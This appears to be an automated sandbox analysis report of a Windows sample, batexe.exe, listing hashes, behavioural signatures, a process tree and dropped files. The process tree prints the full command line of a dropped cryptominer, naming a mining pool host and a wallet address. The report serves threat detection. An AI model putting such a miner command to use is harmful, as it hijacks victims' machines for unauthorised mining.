Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    19-02-2024 14:21

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3C0A.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:464
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5392

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

    Filesize

    12.2MB

    MD5

    8c2c88d4f62cb50bce39aa8826b7b999

    SHA1

    e5ac90ac2705dc6046b08f01ac82d3042e4d7a5f

    SHA256

    a46a16bd5c15624b109f0c25d17075cab777577d554e07ad7fa050ba35110612

    SHA512

    2106d283792621c71ec3b5705df25ee12bec02e65ce410f242bcee98188dcecc867ddba7aabb3a18cdd70f4dddec8715caaad6b4dd5962a107e07787a7f52189

  • C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

    Filesize

    4.7MB

    MD5

    c423cd8647d37f20609933a1edb6c187

    SHA1

    3bb2512b5e2ceae1f59e482d03a3924cdd1e5fec

    SHA256

    c21a0110bbbd49421d838b84caf8df82c0211e88c6092dd047774ccb3e0ea69a

    SHA512

    6a136d2156fb64d32a680c5edaf186d89d1faf69a02bd823d18c2ed0da43f4a1aeea4de14567748adcfcd05b61bf4d579b2c8537a066dc2a97e9e038a4a36f7b

  • C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

    Filesize

    3.8MB

    MD5

    08b4b68f38c0d3e1fcbf8b442c8c1cc8

    SHA1

    958cccb9239ffd2d4d87e2e459664e792cd32691

    SHA256

    01798610bfa02da58aef6147b7e487a28250719ae8e34165ee55ebcd49eb718b

    SHA512

    3c708f4d8a96e43c1ae9e402284328eafcdca31fcae297724f371d43de7ae15000e8ef66b049bee1fa69c0412ca6ca4347a834c05e4ecdaf11bcade7b9ad7b95

  • C:\Users\Admin\AppData\Local\Temp\3C0A.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    237KB

    MD5

    6199666a96dfb847af5e6b65250edf01

    SHA1

    fa2110ae4811c802fded5d05986468f5d68e9746

    SHA256

    206aeedab775e83239214e930d7535e4abaeb80fcbf6749bfe3aa1b0b12e29c7

    SHA512

    31f9b7353b021e5ecea6819c28cb4e50d53bdabc7d1de54b5ba82081b2a2682a63d5d763d18e7c4981af8e43fc52e84358b285991bf5763abad0f93a36c33572

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    196KB

    MD5

    b8a0738ccab35354fb8afc7df13c9bd4

    SHA1

    7c95f8533da71573d644e0b3cfe578619a45bc75

    SHA256

    8b1df5b0d5404777b56f417114b8d82226ba7cdd4802ef176defd155c441a940

    SHA512

    862ab383bb4b3c1e0475f5e3e66366216db19522e31e97c37a4133866a99830a0b00eba2b8da1ba2bd9c820511faa02ede7cf10ef01548390d6770ab76e3c948

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    68KB

    MD5

    19a625c6ebe8d2761f513ebba49ee3f1

    SHA1

    1c1481cd96fb5f7ba6495f59e07657c1879990f8

    SHA256

    6e3d399f6e5de8516ad41e868cd662aea1a511fec2f3cf1765d7b0b8ad6d23ec

    SHA512

    5441cf4b2151303489078b798fd08ba5d14820e68abf72a529f9de7874df21a13ae899f5f921de2fad762d5e6a3dc3e58818d674fab180a62b9db2bee75a527c

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    57KB

    MD5

    e1decfb90b3eaca98b405d96c3f20dca

    SHA1

    b64766693a58cde8a9a2e6abc6f826de9ed4f904

    SHA256

    bbf5f3ce3eb31dab5f108303948c582911dec01f5dee104c29b7039698bdfd1e

    SHA512

    07c049a8469bf3e0302c9d8dd79f9ecd2cab235f3c9ec2263429aa6e71d6ed280cf1063e726bb8b841750a87536cdf2b193c9651dd1bb2a98f76c7cce67f3607

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    273KB

    MD5

    377f816f5ee4adfa662b0b17ca93ba7f

    SHA1

    45119352639c2e1a01bec1ea5753758be6d8033e

    SHA256

    ae4a7bb23ef0ba036bcb4e2d2aff8f6b5da86de142a7744459b7dd5d634781e7

    SHA512

    e05faebfdc671480073dfb4904fc89412adceb2af5f2293a61144addd947654d1bb1c068e406c80789391f6e30405c32d1e9ba97149352696365d654a188cb9d

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    373KB

    MD5

    6b9c52298e77c9f12afe0c66625b35d8

    SHA1

    55c00d3591429dbde613ab93581c9678efd4df27

    SHA256

    d789df3fbabd736182661fc497abbd62fe12a3fe3b265efc11de460851a61fd1

    SHA512

    86e9269436b2abe79330d37345034cc37f6cb10b802e157b9334dca1c96f62dd822318630bd0149e1cd48516048f6c0ffae37ad3ec1c8b13375ee0c0bbaefe06

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    111KB

    MD5

    a341c1e69863277ea6705d2fc4b9e154

    SHA1

    7bc9842e9c492c5ba006c240c7a45b9cc6396612

    SHA256

    636f754886f053d963a8f428a07d3f1ed9b68bf0e4202fc4180c67a799295f0c

    SHA512

    17acd58d4d1d2b7bd509d4e0b7a58dd1486ba4962608e42073d72e8480667dd14d2d0188611def3a4ea645109f7d8007e9427c2ac2efd3ad5b08ca667335bac0

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1480-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/2716-55-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2716-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5392-50-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-48-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/5392-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

    Filesize

    608KB

  • memory/5392-47-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5392-42-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/5392-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

    Filesize

    24.7MB

  • memory/5392-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5392-106-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB